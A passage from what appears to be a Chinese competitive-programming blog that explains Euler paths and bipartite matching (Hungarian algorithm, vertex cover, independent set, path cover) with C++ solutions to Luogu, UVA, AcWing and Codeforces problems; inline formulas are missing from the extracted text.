        if (!flag && (cntT != 1 || cntS != 1)) OK = false; // 一张图只允许存在一个起点和终点
57
        int cur = -1;
58
        for (int i = 0; i < 26; i++) {
59
            if (st[i]) { // 该字母出现过
60
                if (cur == -1) cur = find(i); // 当前位于哪个连通块内
61
                else if (cur != find(i)) { // 出现不属于同一个连通块的情况，无解
62
                    OK = false;
63
                    break;
64
                }
65
            }
66
        }
67
        cout << (OK ? "Ordering is possible." : "The door cannot be opened.") << endl;
68
    }
69
    return 0;
70
}

展开收起

图论欧拉图

Tue, 06 Aug 2024 07:38:52 GMT

图论起源欧拉图#

欧拉图的概念起源于18世纪的一个难题——“哥尼斯堡七桥问题”，问题是这样的：

有一条河上架设了如图所示的七座桥：
问如何在不重复经过某座桥的情况下走完这七座桥。

这个问题在当时难倒了一批人，有人写信给大神欧拉，请他帮忙解决这个问题。欧拉也是不负众望，经过一年的研究证明，发现这个七桥问题根本无解。在他的论文中提到了他的证明方法——将桥看作边、把陆地看作点，在一张图上研究问题。这也是数学图论思维的起源，因而欧拉图又被称作图论的起源。

现在看来，欧拉图可以看成一笔画问题。当这张图可以一笔画出，那么画出的路径就被称作欧拉路径；特殊地，当一笔画的起点和终点相同时，这个路径被称作欧拉回路。欧拉图基本可以分两个大类讨论——有向欧拉图和无向欧拉图。对于无向欧拉图来说，小学就已经涉及到了，判断方式如下：

整张图全为偶点（度数为偶数的点）
整张图只存在两个奇点（度数为奇数的点）

二者满足其一即可。那么对于有向欧拉图，因为涉及到边的方向，会稍微复杂一些：

图上每个点的入度均等于出度
图上只存在两个入度不等于出度的点——有一个点的入度比出度多，是图的起点；另一个点的出度比入度多，是终点

在求解某个欧拉路径/回路时，我们最常使用套圈法。这种方法基于对图的深度优先遍历，首先逮着一个路径向里搜索形成第一个回路，在回溯时如果发现某个点还有没被遍历过的边，就以它为起点向里搜索、并删除这条边。把回溯时走到的点记录起来，最后倒序输出就是合法回路（建议用栈）。

数组邻接表居然输给了 vector 存图？？？

1
void dfs(int u) {
2
    for (int i = nxt[u]; i < G[u].size(); i = nxt[u]) {
3
        nxt[u]++;
4
        dfs(G[u][i]);
5
    }
6
    path.push(u);
7
}

当然，如果题目要求按字典序输出路径，则需要对边排序。使用普通的数组邻接表显然是不方便的，那么考虑改用 vector。例如洛谷的模板题：

P7771 [模板] 欧拉路径

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
vector<int> G[N];
6
stack<int> path;
7
int indeg[N], outdeg[N];
8
int nxt[N];
9
int n, m;
10
int cntS = 0, cntT = 0;
11

12
void dfs(int u) {
13
    for (int i = nxt[u]; i < G[u].size(); i = nxt[u]) {
14
        nxt[u]++;
15
        dfs(G[u][i]);
16
    }
17
    path.push(u);
18
}
19

20
int main() {
21
    ios::sync_with_stdio(false);
22
    cin.tie(nullptr);
23
    cout.tie(nullptr);
24

25
    cin >> n >> m;
26
    while (m--) {
27
        int u, v;
28
        cin >> u >> v;
29
        indeg[v]++;
30
        outdeg[u]++;
31
        G[u].push_back(v);
32
    }
33
    for (int i = 1; i <= n; i++) sort(G[i].begin(), G[i].end());
34
    bool flag = true;
35
    int S = 1;
36
    for (int i = 1; i <= n; i++) {
37
        if (indeg[i] != outdeg[i]) {
38
            flag = false;
39
            if (outdeg[i] - indeg[i] == 1) cntS++, S = i;
40
            else if (indeg[i] - outdeg[i] == 1) cntT++;
41
            else {
42
                cout << "No" << endl;
43
                return 0;
44
            }
45
        }
46
    }
47
    if (!flag && cntS == cntT != 1) {
48
        cout << "No" << endl;
49
        return 0;
50
    }
51
    dfs(S);
52
    while (!path.empty()) {
53
        cout << path.top() << ' ';
54
        path.pop();
55
    }
56
    return 0;
57
}

展开收起

典例#

洛谷 P2731 [USACO3.3] 骑马修栅栏 Riding the Fences#

题目地址：P2731

题目难度：普及+/提高

Farmer John 每年有很多栅栏要修理。他总是骑着马穿过每一个栅栏并修复它破损的地方。
John 是一个与其他农民一样懒的人。他讨厌骑马，因此从来不两次经过一个栅栏。
John 的农场上一共有个栅栏，每一个栅栏连接两个顶点，顶点用到标号（虽然有的农场并没有那么多个顶点）。一个顶点上至少连接个栅栏，没有上限。两顶点间可能有多个栅栏。所有栅栏都是连通的（也就是你可以从任意一个栅栏到达另外的所有栅栏）。John 能从任何一个顶点（即两个栅栏的交点）开始骑马，在任意一个顶点结束。
你需要求出输出骑马的路径（用路上依次经过的顶点号码表示)，使每个栅栏都恰好被经过一次。如果存在多组可行的解，按照如下方式进行输出：如果把输出的路径看成是一个进制的数，那么当存在多组解的情况下，输出进制表示法中最小的一个（也就是输出第一位较小的，如果还有多组解，输出第二位较小的，以此类推）。
输入数据保证至少有一个解。
输入格式：
第一行一个整数，表示栅栏的数目。
从第二行到第行，每行两个整数，表示有一条栅栏连接两个点。
输出格式：
共行，每行一个整数，依次表示路径经过的顶点号。注意数据可能有多组解，但是只有上面题目要求的那一组解是认为正确的。
数据保证至少有一组可行解。
数据范围：
对于的数据，。

根据题意，我们发现走过的路径恰好满足欧拉路径的定义（每个边只走一次）。又因为这道题保证有解，于是我们只需要套用模板求字典序最小的无向图欧拉路径并输出即可。这道题是无向图，用 vector 存又有些麻烦，我们可以用邻接矩阵，并从小到大枚举出边，可以达到一样的效果。

读入时需要特别注意，编号并不是严格从开始、也不是在结束——它不连续，因此需要预处理上下界，起点的初始值需要是图上的任意一个存在的编号。

1
void dfs(int u) {
2
    for (int i = 1; i <= n; i++) {
3
        if (g[u][i]) {
4
            g[u][i]--;
5
            g[i][u]--;
6
            dfs(i);
7
        }
8
    }
9
    path.push(u);
10
}

UVA10129 Play On Words#

题目地址：UVA10129

题目难度：普及+/提高

输入个单词，是否可以把所有这些单词排成一个序列，使得每个单词的第一个字母可上一个单词的最后一个字母相同（例如）。每个单词最多包含个小写字母。输入中可以有重复的单词。
原题面 PDF
输入格式：
第一行为一个整数，代表有组测试数据。
对于每组测试数据，第一行为一个整数。接下来行，每行读入一个字符串，每个字符串由个小写字母组成，同一个字符串可能重复出现多次。
输出格式：
对于每组测试数据，如果能组成合法的单词链，输出一行 Ordering is possible.；否则输出一行 The door cannot be opened.

很像之前遇见的一道求负环+分数规划的题目 SP2885 WORDRING，只不过这道题没有要求最终字符串的首尾字符相同，我们只需判断能否把所有字符串都用上、组成一个单词链即可。注意到只要所有字符串能够不重不漏组成一个欧拉路径，该情况就是有解的，反之则无解。

更为详细的内容见：我的题解

CF 1728F - Fishermen 题解

Tue, 06 Aug 2024 02:07:39 GMT

Done

您已获得最佳的阅读体验！

题目地址：CF 1728F - Fishermen

这道题很难一眼看出所用算法，因此先从题目本身入手。

可以发现，当每个都满足，且互不相同时，题目所给的两个构造条件就是不必要的。因为我们可以通过重排来满足这两条要求。

所以先来处理。符号代表整除，也就是说的结果是一个整数。换个思路，。考虑到自带一个的性质，取太大是不优的，于是设置，预处理出一定范围内的倍数作为的候选。由于倍数可能很大，因此考虑离散化存储。

现在问题转化成了，让每一个匹配一个满足条件的。二分图的味道就来了，考虑把所有作为左部点，预处理的所有倍数作为右部点，把存在倍数关系的左右点连起来，就是一个合法的二分图了。

最后还需要处理一个要求：最小化。把预处理的倍数从小到大排序、排列在右部就可以做到。提供一个优化的技巧：仅在某个点匹配成功后再清空 st 数组，如此可以优化时间复杂度到。

1
#include <bits/stdc++.h>
2

3
#define N 1000010
4
#define M 1000010
5

6
using namespace std;
7
typedef long long ll;
8

9
struct Edge {
10
    int to, ne;
11
} edges[M << 1];
12
int h[N], idx = 0;
13
int a[N], b[N];
14
bool st[N];
15
int match[N];
16
vector<int> unq;
17
map<int, int> discrete;
18
int n;
19

20
void add(int a, int b) {
21
    idx++;
22
    edges[idx].to = b;
23
    edges[idx].ne = h[a];
24
    h[a] = idx;
25
}
26

27
bool hungary(int u) {
28
    for (int i = h[u]; ~i; i = edges[i].ne) {
29
        int j = edges[i].to;
30
        if (!st[j]) {
31
            st[j] = true;
32
            if (!match[j] || hungary(match[j])) {
33
                match[j] = u;
34
                return true;
35
            }
36
        }
37
    }
38
    return false;
39
}
40

41
int main() {
42
    ios::sync_with_stdio(false);
43
    cin.tie(nullptr);
44
    cout.tie(nullptr);
45

46
    memset(h, -1, sizeof h);
47

48
    cin >> n;
49
    for (int i = 1; i <= n; i++) cin >> a[i];
50
    for (int i = 1; i <= n; i++) {
51
        for (int k = 1; k <= n; k++) {
52
            unq.push_back(a[i] * k); // 处理倍数，预备去重
53
        }
54
    }
55
    sort(unq.begin(), unq.end());
56
    int cnt = unique(unq.begin(), unq.end()) - unq.begin(); // 去重，顺带升序排序
57
    int disc = 0;
58
    for (int i = 0; i < cnt; i++) {
59
        // 离散化
60
        discrete[unq[i]] = ++disc;
61
        b[disc] = unq[i]; // 去重前就已完成排序，直接赋值
62
    }
63
    for (int i = 1; i <= n; i++) {
64
        for (int k = 1; k <= n; k++) {
65
            add(discrete[a[i] * k] + n, i);
66
        }
67
    }
68
    ll ans = 0;
69
    int res = 0;
70
    for (int i = 1; i <= cnt; i++) {
71
        if (hungary(i + n)) {
72
            // 优化
73
            memset(st, false, sizeof st);
74
            res++;
75
            ans += b[i];
76
        }
77
        if (res == n) break; // 总共匹配n个a
78
    }
79
    cout << ans << endl;
80
    return 0;
81
}

展开收起

因为偷懒使用了，程序执行效率并不是很高，拿倒数第五优，代码仅供参考。

CF 1404E - Bricks 题解

Mon, 05 Aug 2024 12:42:47 GMT

Done

您已获得最佳的阅读体验！

题目地址：CF1404E - Bricks

初做这道题时，我发现它和 P6062 - Muddy Fields G 神似。于是冲动交了一发，吃了 WA。仔细审题发现，这道题要求所用木板不能重叠。因此寻找其他的解题方法。

现在我们的当务之急是找出一个处理木板重叠的好方法，从黑色格子的分布入手——木板重叠放置的唯一可能就是当前黑色方格位于一个交叉的位置，如下图：

位于交点上的黑色方格可能被同时划分到橙色和蓝色的木板里去，这是题目不允许的，但这也启发我们在位于交点位置上的黑色方格做特定的操作。也就是说，当确定选择使用蓝色木板覆盖后，橙色木板就不能再覆盖交点位置。考虑把原图改换成如下形式：

当选择号点后（蓝色木板），号就不能再选。何不考虑在“仇家”之间连边？也就是连接边，对于整张图，按此方法全部连边。题目要求我们覆盖住所有的黑色方格，并且还不能同时选择一条边上的两个端点（因为它们是敌人）。此时突然想到，这是二分图的最大点独立集问题。

在一张二分图中，选出若干点组成一个点集，使得点集里任意两点都不互通。原图中满足以上要求且所含点最多的集合叫做原二分图的最大点独立集。感性理解一下：我们需要选出尽量少的点丢弃，使得剩下的点不互通，考虑到最小点覆盖的定义，把属于最小点覆盖集的所有点从图中去掉，此时图上的每条边均只剩一个端点，满足定义，于是最大点独立集的大小就等于总点数减去最小点覆盖集的大小（根据定理，又有最小点覆盖集的大小等于二分图最大匹配数），推导出它等价于求：总点数减去最大匹配数。

不妨设所有新加的边组成一个新图，换到这道题上来，就是：

黑色方格总数减去黑色方格间的总边数再加上的最大匹配数

此后，把原图中的边当作一个点进行编号，并统计黑色方格数；然后统计所有位于交叉位置的黑色方格，并根据上述的连接方式连边，顺带统计黑色方格间的边数；最后在新图上做最大匹配，根据公式计算出结果即可。我为边编号的方式较为繁琐，理解思路后自行编号计算即可。

1
#include <bits/stdc++.h>
2
#define N 210     // 题目所给最大长宽
3
#define M 1000010
4
#define K 80000   // 化边为点后最多 n(m-1)+m(n-1) 个点，极限情况下等于79600
5
using namespace std;
6

7
struct Edge {
8
    int to, ne;
9
} edges[M];
10
int h[N * N], idx = 0; // 方阵中最多 n^2 个点
11
char land[N][N];       // 暂存原图
12
int id[N][N];          // 按顺序给点编号
13
int match[K];          // 新图最多 K 个点
14
bool st[K], vis[N * N][4]; // vis 用作搜索判重，记录当前点是从哪个方向扩展而来的
15
int edge = 0, point = 0;
16
int n, m;
17

18
void add(int a, int b) {
19
    idx++;
20
    edges[idx].to = b;
21
    edges[idx].ne = h[a];
22
    h[a] = idx;
23
}
24

25
bool hungary(int u) {
26
    // 匈牙利算法，二分图最大匹配
27
    for (int i = h[u]; ~i; i = edges[i].ne) {
28
        int j = edges[i].to;
29
        if (!st[j]) {
30
            st[j] = true;
31
            if (!match[j] || hungary(match[j])) {
32
                match[j] = u;
33
                return true;
34
            }
35
        }
36
    }
37
    return false;
38
}
39

40
int main() {
41
    ios::sync_with_stdio(false);
42
    cin.tie(nullptr);
43
    cout.tie(nullptr);
44

45
    memset(h, -1, sizeof h);
46

47
    cin >> n >> m;
48
    int tmp = 0;
49
    for (int i = 1; i <= n; i++) {
50
        for (int j = 1; j <= m; j++) {
51
            cin >> land[i][j];
52
            id[i][j] = ++tmp;
53
            if (land[i][j] == '#') point++; // 统计黑色方格个数
54
        }
55
    }
56
    // 写得稀烂，建议理解后自己写一个
57
    for (int i = 1; i <= n; i++) {
58
        for (int j = 1; j <= m; j++) {
59
            if (land[i][j] == '#') {
60
                if (land[i - 1][j] == '#' && land[i][j - 1] == '#') {
61
                    add(id[i][j] - i, n * (m - 1) + (i - 2) * m + j);
62
                }
63
                if (land[i - 1][j] == '#' && land[i][j + 1] == '#') {
64
                    add(id[i][j] - i + 1, n * (m - 1) + (i - 2) * m + j);
65
                }
66
                if (land[i + 1][j] == '#' && land[i][j + 1] == '#') {
67
                    add(id[i][j] - i + 1, n * (m - 1) + (i - 1) * m + j);
68
                }
69
                if (land[i + 1][j] == '#' && land[i][j - 1] == '#') {
70
                    add(id[i][j] - i, n * (m - 1) + (i - 1) * m + j);
71
                }
72
            }
73
        }
74
    }
75
    // 搜索统计边数
76
    int dx[4] = {1, -1, 0, 0};
77
    int dy[4] = {0, 0, 1, -1};
78
    for (int i = 1; i <= n; i++) {
79
        for (int j = 1; j <= m; j++) {
80
            if (land[i][j] == '#') {
81
                for (int k = 0; k < 4; k++) {
82
                    int nx = i + dx[k];
83
                    int ny = j + dy[k];
84
                    if (nx < 1 || nx > n || ny < 1 || ny > m) continue;
85
                    if (land[nx][ny] != '#') continue;
86
                    if (vis[id[i][j]][k]) continue;
87
                    vis[id[i][j]][k] = true;
88
                    edge++;
89
                }
90
            }
91
        }
92
    }
93
    int res = 0;
94
    for (int i = 1; i <= n * (m - 1); i++) {
95
        memset(st, false, sizeof st);
96
        if (hungary(i)) res++;
97
    }
98
    // 由于搜索统计时重复扫了两遍，因此边数需要折半
99
    cout << point - edge / 2 + res << endl;
100
    return 0;
101
}

展开收起

然后 in queue 一晚上

Undefined control sequence \textcolor

图论二分图

Tue, 30 Jul 2024 02:11:14 GMT

二分图基础#

二分图，又称二部图。顾名思义，在一个二分图中，所有的节点可以分成两部分（分别用黑白染色），并且满足相同颜色的点之间无边。如下图：

我们发现，集合内部的点间都没有连边，每条边必定连接两个不同集合的点。二分图有一个性质，那就是不存在奇数环。因为每条边都连接了不同的集合，必须过偶数条边才能回到出发点所在的集合，因此长度为奇数的环是一定不可能出现在二分图里的。

染色法判定二分图#

基于，对每次遍历到的点染色，并给它的邻接点染另一种颜色。如果某时刻出现矛盾（待染上的颜色与当前已有的颜色不同），则立马判定为非二分图，否则就是一个合法的二分图。

1
bool dye(int u, int fa, int c) {
2
    color[u] = c;
3
    for (int i = h[u]; ~i; i = edges[i].ne) {
4
        int j = edges[i].to;
5
        if (j == fa) continue;
6
        if (color[j]) {
7
            if (color[j] == c) return false;  // 矛盾，不是二分图
8
        } else if (!dfs(j, u, 3 - c)) return false; // 在子树中出现矛盾，也不是二分图
9
    }
10
    return true;
11
}
12

13
bool check() {
14
    memset(color, 0, sizeof color);
15
    for (int i = 1; i <= n; i++) {
16
        if (!color[i]) {
17
            if (!dfs(i, -1, 1)) return false; // 出现矛盾，不是二分图
18
        }
19
    }
20
    return true;
21
}

展开收起

二分图最大匹配#

对于一个连接了若干条边的二分图，我们选出一些边，使得这些边没有公共点。满足如上条件且选出的边最多的方案称为这个二分图的最大匹配。

假如你是一名媒婆，你需要为若干对男女牵线搭桥（这是典型例子，并非本人玩梗整活）。已知他们的意向，如何选择才能让最多的男女成对（一夫一妻制、没有南通和钕通）。这就是一个裸的二分图最大匹配问题。

首先我们需要明确两个概念：

交错路径：对于二分图中的某个匹配，有一条路径，使得这条路径上的边满足“不在中”和“在中”交替出现。则这个路径叫做交错路径，头尾边无限制。
增广路径：如果交错路径上的边严格满足“不在中”-“在中”-“不在中”-……-“在中”-“不在中”的顺序。则它是一个增广路径，即满足路径头尾的边都不在中的交错路径。

匈牙利算法的核心就是在已经求解出的增广路径的基础上不断发现新的增广路径，增广路径上不相连接的边都可以组成一组匹配，因此只要增广路找的越长，就会找到比原先更大的匹配。

对于一张二分图，步骤如下：

如果后边的节点所选的配对点与前边已选的点冲突，让前边的点寻找其他的配对
在出现冲突的情况下，如果前边的点无论如何也找不到其他的配对，那么让后来的节点寻找其他的配对
如果新来的节点均匹配不上，那么不做操作

1
// 每次执行前需要清空st数组
2
bool hungary(int u) {
3
    for (int i = h[u]; ~i; i = edges[i].ne) {
4
        int j = edges[i].to;
5
        if (!st[j]) {
6
            st[j] = true; // 防止重复遍历
7
            if (!match[j] || hungary(match[j])) { // 当前这个女生还没配对成功或者先来的那个男生还有备胎
8
                match[j] = u; // 牵手成功
9
                return true;
10
            }
11
        }
12
    }
13
    return false; // 没招
14
}

点覆盖/路径覆盖/点独立#

对于某个二分图，我们拿出若干个点组成一个点集，满足这张图所有边上至少有一个点在这个集合中。那么点数最少的这样的集合被称作原图的最小点覆盖集。根据定理，二分图中最小点覆盖集的大小等于最大匹配数，即这个最小点集中的点数等于最大匹配的边数。

相对的，我们选出若干点组成另一个点集，让点集里任意两点在原图中均不相连，满足它的最大点集叫做最大点独立集；与之相对，选出一些点，使得任意两点间都有边，满足它的最大点集叫做原图的最大团。假设原图为，把中原有的边删去、并把没有边连接的两点连接上，得到它的补图，那么的最大点独立集的大小等于最大团的大小。

对于一张，用若干互不相交（没有公共端点）的路径把所有点覆盖，其中选取路径数最少的那个方案，叫做这个的最小路径覆盖。如果使用的路径允许相交，则叫做最小路径重复点覆盖。

在二分图中，有如下非常好的性质：

最小点覆盖集的大小=最大匹配数—— 定理
总点数-最小点覆盖集的大小=总点数-最大匹配数=最大点独立集的大小
最小路径覆盖数=顶点数-最大匹配数

对于第二点，感性理解一下：我们要选出若干点丢弃，使得剩余的点无论如何也不互通。考虑到最小点覆盖的定义，我们把属于最小点覆盖集的所有点从图中去掉，此时图中所有边均只有一个端点，无法经过边到达其他点。

对于第三点。在任意中，把同一个点拆分成两个点，分居两侧，因此可以组成一个二分图。原图中的边，在新图里就可以映射成。因此，对于原图中的每一条路径，在这个二分图的右部都可以找到对应的终点（每一条路径都有终点，终点出度为，在二分图中匹配失败）。右部失配点对应一个左部的非匹配点，转化成求左部非匹配点最少，从而变成求左部匹配点最多，最后变成求最大匹配数。

如何求解最小路径重复点覆盖数呢？我们想办法把它转化成简单的问题——比如当前有两条边和相交在点，那么我们可以考虑让其中一条边的两个端点不经过直接相连，一来二去，整个问题会变成求解新图的最小路径覆盖数。根据如上原理，把所有能够间接到达的点直接连上，也就是说先求解原图的传递闭包，最后在新图上解最小路径覆盖数。

典例#

洛谷 P1525 [NOIP2010 提高组] 关押罪犯#

题目地址：P1525

题目难度：普及+/提高

题目来源：NOIp 提高组 2010

NOIP2010 提高组 T3
S 城现有两座监狱，一共关押着名罪犯，编号分别为。他们之间的关系自然也极不和谐。很多罪犯之间甚至积怨已久，如果客观条件具备则随时可能爆发冲突。我们用“怨气值”（一个正整数值）来表示某两名罪犯之间的仇恨程度，怨气值越大，则这两名罪犯之间的积怨越多。如果两名怨气值为的罪犯被关押在同一监狱，他们俩之间会发生摩擦，并造成影响力为的冲突事件。
每年年末，警察局会将本年内监狱中的所有冲突事件按影响力从大到小排成一个列表，然后上报到 S 城 Z 市长那里。公务繁忙的 Z 市长只会去看列表中的第一个事件的影响力，如果影响很坏，他就会考虑撤换警察局长。
在详细考察了名罪犯间的矛盾关系后，警察局长觉得压力巨大。他准备将罪犯们在两座监狱内重新分配，以求产生的冲突事件影响力都较小，从而保住自己的乌纱帽。假设只要处于同一监狱内的某两个罪犯间有仇恨，那么他们一定会在每年的某个时候发生摩擦。
那么，应如何分配罪犯，才能使 Z 市长看到的那个冲突事件的影响力最小？这个最小值是多少？
输入格式：
每行中两个数之间用一个空格隔开。第一行为两个正整数，分别表示罪犯的数目以及存在仇恨的罪犯对数。接下来的行每行为三个正整数，表示号和号罪犯之间存在仇恨，其怨气值为。数据保证，且每对罪犯组合只出现一次。
输出格式：
共一行，为 Z 市长看到的那个冲突事件的影响力。如果本年内监狱中未发生任何冲突事件，请输出 0。
数据范围
对于的数据有。

最大值最小，考虑二分。设当前二分到的最大冲突值是，我们判断这个答案是否可行。就需要把所有冲突值小于等于它的某对罪犯放进同一个监狱，反之放进不同的监狱。这个方案成立当且仅当整个图能够构成一张二分图，因为只有如此，才能保证先前假设的所有罪犯关系成立，且不存在比当前二分到的更大的冲突。

因此在二分到每个答案时，对建立的图进行一次染色法判定。如果当前是一个二分图，则把右边界缩减，反之收缩左边界。

AcWing 372 棋盘覆盖#

题目地址：AcWing 372

题目难度：中等

给定一个行列的棋盘，已知某些格子禁止放置。
求最多能往棋盘上放多少块的长度为、宽度为的骨牌，骨牌的边界与格线重合（骨牌占用两个格子），并且任意两张骨牌都不重叠。
输入格式：
第一行包含两个整数和，其中为禁止放置的格子的数量。
接下来行每行包含两个整数和，表示位于第行第列的格子禁止放置，行列数从开始。
输出格式：
输出一个整数，表示结果。
数据范围：

棋盘问题一般考虑两种：状态压缩DP和二分图，但是状压DP的时间复杂度是，这道题不行。因此考虑后者。

在抛除了被禁用格子的情况下，尝试把能放的两个相邻格子当作两个点连边。不相邻的格子/禁止放置的格子不连边，最后发现整张图就是一个二分图。那么我们需要解决的就是——选择没有重复端点（不重叠）的若干条边，使得利用率最高，因此做二分图的最大匹配。

对于棋盘问题，二分图在建图时有一个小技巧：就是把棋盘上色，变成一个国际象棋的棋盘（横纵黑白交替）。我们可以发现，对于任何一个可放置骨牌的位置，两个格子的颜色是不相同的。形式化讲，必定有一种颜色的格子全部满足横纵坐标之和为奇数。因此我们只需让横纵坐标之和为偶数的格式向和为奇数的格子连边即可。于是枚举所有和为奇数的点（二分图左部的所有点）做匈牙利算法。

UVA 1194 Machine Schedule#

题目地址：UVA 1194

题目难度：提高+/省选-

有两台机器分别有种模式。
现在有个任务。对于每个任务，给定两个整数和，表示如果该任务在上执行，需要设置模式为；如果该任务在上执行，需要设置模式为。
每台机器第一次开机默认处在0模式，且第一次开机不需要消耗时间。任务可以以任意顺序被执行，但每台机器转换一次模式就要重启一次。求怎样分配任务并合理安排顺序，能使机器重启次数最少。
输入格式：
多组测试数据。对于每组数据，输入第一行为三个整数，含义见上。
接下来行，每行三个整数。分别代表任务编号，和。
当末尾出现单独的时，读入结束
输出格式：
对于每组测试数据，输出一行一个整数，代表最少的重启次数
数据范围：
，，，。
原题 PDF

考虑把每一个设置成一个点，从向连边，代表整个任务，只要其中有一方调节了模式并执行这个任务，则可以看作整个任务完成了。发现最终得到的图是一张二分图，左部为，右部为。问题就转化成了——找出若干，使得这些选出的点能够覆盖到所有的任务（边）。因此是一道求解二分图最小点覆盖的题目，根据定理，我们只需要解出这个图的最大匹配数即可。

洛谷 P3355 骑士共存问题#

题目地址：P3355

题目难度：省选/NOI-

题目来源：网络流与线性规划 24 题

在一个个方格的国际象棋棋盘上，马（骑士）可以攻击的棋盘方格如图所示。棋盘上某些方格设置了障碍，骑士不得进入。
对于给定的个方格的国际象棋棋盘和障碍标志，计算棋盘上最多可以放置多少个骑士，使得它们彼此互不攻击。
输入格式：
第一行有个正整数和，分别表示棋盘的大小和障碍数。接下来的 m 行给出障碍的位置。每行个正整数，表示障碍的方格坐标。
输出格式：
将计算出的共存骑士数输出。
数据范围：
对于全部的测试点，保证，。

同样使用棋盘技巧，题图已经非常直观的展现了这一技巧。我们发现所有黄色的格子都可以向周围符合要求的红色格子连边，红黄两色组成二分图。根据题意，我们要放尽量多的点，使得它们伸展出去的边互不相干（所有点互不相通）。因此这是一道求解二分图最大独立集的问题，转化成“总点数减障碍点数减最大匹配数”的求解。同样只枚举单色格子来求解（二分图的某一部）。

双倍经验：P4304 [TJOI2013] 攻击装置

洛谷 P5030 长脖子鹿放置#

题目地址：P5030

题目难度：省选/NOI-

众周所知，在西洋棋中，我们有城堡、骑士、皇后、主教和长脖子鹿。
如图所示，西洋棋的“长脖子鹿”，类似于中国象棋的马，但按照“目”字攻击，且没有中国象棋“别马腿”的规则。（因为长脖子鹿没有马腿）
avatar
给定一个,的棋盘，有一些格子禁止放棋子。问棋盘上最多能放多少个不能互相攻击的长脖子鹿。
输入格式：
输入的第一行为两个正整数，，。其中表示禁止放置长脖子鹿的格子数。
第~第行每一行为两个整数,表示禁止放置的格子。
不保证禁止放置的格子互不相同。
输出格式：
一行一个正整数，表示最多能放置的长脖子鹿个数。
数据范围/提示：
重要提示：请务必思考对图的遍历顺序对运行速度的影响
对于的数据，

这道题和上面那一道很像，但不是双倍经验，关键就在于该题的移动方式上。由图可知，此时中心的白色方格需要向周围的同色方格连边，按照常规方法是建不出二分图的（同颜色连向同颜色），因此考虑更换建图方式（棋盘染色方式）。

好在，我们发现中心棋子和红点所在行数的奇偶性是不同的，此时可以转化成奇数行向偶数行上的合法点连边。把奇偶性不同的行染成黑白二色，发现就是一个二分图了。因此我们只需要枚举所有奇数行的所有列，套用上一题求解最大点独立集的公式就可解决这道题。

Note

网络流本身其实很好写，难就难在一道题的建图上——Stairs_upon_temple LGZ

AcWing 379 捉迷藏#

题目地址：AcWing 379

题目难度：中等

Vani 和 cl2 在一片树林里捉迷藏。
这片树林里有座房子，条有向道路，组成了一张有向无环图。
树林里的树非常茂密，足以遮挡视线，但是沿着道路望去，却是视野开阔。
如果从房子沿着路走下去能够到达，那么在和里的人是能够相互望见的。
现在 cl2 要在这座房子里选择若干座作为藏身点，同时 Vani 也专挑 cl2 作为藏身点的房子进去寻找，为了避免被 Vani 看见，cl2 要求所选的这几个藏身点的任意两个之间都没有路径相连。
为了让 Vani 更难找到自己，cl2 想知道最多能选出多少个藏身点。
输入格式：
输入数据的第一行是两个整数和。
接下来行，每行两个整数，表示一条从到的有向道路。
输出格式：
输出一个整数，表示最多能选取的藏身点个数。
数据范围：
。

乍一看，这不是最大点独立集的问题吗？然而并不是，它只存在于无向图中。此处给出的是一个，对于，有一个概念叫最小路径点覆盖。它的定义是：选出最少的不相交的边，使得选出的这些边能够覆盖到所有的点。如果我们选择了过多的点，那么会出现互通的点，与题意矛盾。再考虑到题目给出“相互望见”的关系，这道题会边成一个最小路径重复点的求解，因此求传递闭包即可。

双倍经验：UVA 1184 - Air Raid（最小路径点覆盖数）

洛谷 P2764 最小路径覆盖问题#

题目地址：P2764

题目难度：省选/NOI-

题目来源：网络流与线性规划 24 题 Special Judge

给定有向图。设是的一个简单路（顶点不相交）的集合。如果中每个定点恰好在的一条路上，则称是的一个路径覆盖。中路径可以从的任何一个定点开始，长度也是任意的，特别地，可以为。的最小路径覆盖是所含路径条数最少的路径覆盖。设计一个有效算法求一个 DAG（有向无环图）的最小路径覆盖。
输入格式：
第一行有两个正整数和。是给定 DAG（有向无环图）的顶点数，是的边数。接下来的行，每行有两个正整数和表示一条有向边。
输出格式：
从第一行开始，每行输出一条路径。文件的最后一行是最少路径数。
对于的数据，，。

这道题在求解最小路径覆盖数的基础上额外设置了一个输出合法路径的要求，考虑到 match 数组的含义——配对的点。又因为配对的点在同一条路径上，所以可以从每个点开始向前递归查找路径，只要还能配对，那么加入当前路径，否则新开一个路径存储其他的路径。

需要注意的是，对原进行重映射时我们把右部点的编号统一设置成了左部点编号加的形式，因此在操作时需要注意转换。一般情况的递归寻路代码如下：

1
void getPath(int u) {
2
    path[tot].push_back(u); // 当前点加入路径
3
    st[u] = true;           // 标记已访问，后期不再单独作为路径起点进行递归
4
    if (!pre[u].second) {   // 不存在前驱，代表是路径的端点
5
        tot++;              // 开新路径
6
        return;
7
    }
8
    getPath(pre[u].second); // 递归它的前驱
9
}

洛谷 P6062 [USACO05JAN] Muddy Fields G#

题目地址：P6062

题目难度：省选/NOI-

题目来源：USACO 2005

大雨侵袭了奶牛们的牧场。
牧场是一个的矩形，其中。大雨将没有长草的土地弄得泥泞不堪，可是小心的奶牛们不想在吃草的时候弄脏她们的蹄子。为了防止她们的蹄子被弄脏，约翰决定在泥泞的牧场里放置一些木板。每一块木板的宽度为个单位，长度任意，每一个板必须放置在平行于牧场的泥地里。
约翰想使用最少的木板覆盖所有的泥地．一个木板可以重叠在另一个木板上，但是不能放在草地上。
输入格式：
第一行两个整数。
接下来行，每行个字符，描述牧场，其中 * 为泥地，. 为草地。
输出格式：
输出一个整数，最少需要多少木板。

对于每个能够放置木板的格子，显然一次性放更长的木板会更优，对于任何一个泥方格，它都可能位于一个横向的木板或是一个纵向的木板上。这启发我们先处理出每个泥方块所在的最长的横向/纵向连通块，然后把所有横向连通块和纵向连通块分开、组成二分图的左右部，接着根据每个泥方块所在的位置，为相关的横纵连通块表示的点连边。目标是将所有泥地覆盖起来，因此这道题就只需要我们求出这个二分图的最小点覆盖。

CF 1404E Bricks#

题目地址：CF 1404E

题目难度：省选/NOI-

你有一个（）的格子纸，格子要么涂黑（#）要么涂白（.）。你需要用若干个长为一，宽为任意正整数或者宽为一，长为任意正整数的长方形去覆盖所有黑色格子，要求不能盖到白色格子上，不能盖到其他长方形上，不能盖出格子纸的边界，求最少用多少个长方形。
数据保证至少有一个黑色格子。
输入格式：
输入第一行为两个整数。
接下来行描述这个格子纸，每行包含一个长度为的字符串，包含“#”和“.”两种字符型，分别代表对应位置上有一个黑色格子和一个白色格子。
数据保证至少存在一个黑色格子。
输出格式：
输出一行一个整数，代表所需最少的长方形数

